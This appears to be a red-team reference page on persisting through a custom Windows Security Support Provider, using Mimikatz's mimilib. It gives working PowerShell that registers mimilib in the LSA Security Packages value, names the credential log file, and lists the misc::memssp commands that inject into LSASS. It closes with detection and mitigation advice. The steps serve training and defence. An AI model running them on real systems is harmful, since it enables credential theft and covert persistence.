Custom Security Support Providers
Security Support Providers (SSPs) are DLL-based security packages loaded by the Local Security Authority (LSA). Windows registers custom SSP/AP DLLs through the HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages REG_MULTI_SZ value and loads registered packages when the system starts.[1]
Because SSPs run in LSA and can receive credentials, adversaries may abuse a malicious package for credential access and persistence. MITRE tracks this behavior as T1547.005.[2]
Mimikatz mimilib
Mimikatz includes mimilib.dll, which implements an SSP that records credentials handled after it is loaded. In an authorized lab, place the DLL that matches the target architecture in C:\Windows\System32, then inspect the current package list before changing it.[2][3]
$lsaPath = 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa'
$packages = (Get-ItemProperty -Path $lsaPath -Name 'Security Packages').'Security Packages'
$packagesA typical existing value can contain packages such as kerberos, msv1_0, schannel, wdigest, tspkg, and pku2u. Preserve every existing entry when adding the custom package.[1]
Append mimilib without replacing the existing packages:
if ($packages -notcontains 'mimilib') {
Set-ItemProperty -Path $lsaPath -Name 'Security Packages' -Value ($packages + 'mimilib')
}After a reboot, the package is loaded into LSA and subsequent captured credentials are written to C:\Windows\System32\kiwissp.log by this implementation.[2][3]
In-memory Loading
Mimikatz can also inject its SSP implementation into the current LSASS process:[3]
privilege::debug
misc::memsspThis method does not persist across a reboot.[2][3]
Detection and Mitigation
Monitor changes to ...\Lsa\Security Packages and unexpected DLL loads into lsass.exe. Security event 4657 records a registry value modification only when the relevant Audit Registry policy and SACL are configured.[2][4]
Where compatible, enable added LSA protection and investigate unsigned or unexpected SSP DLLs. Microsoft documents LSA protection specifically as a control against code injection that could compromise credentials.[5]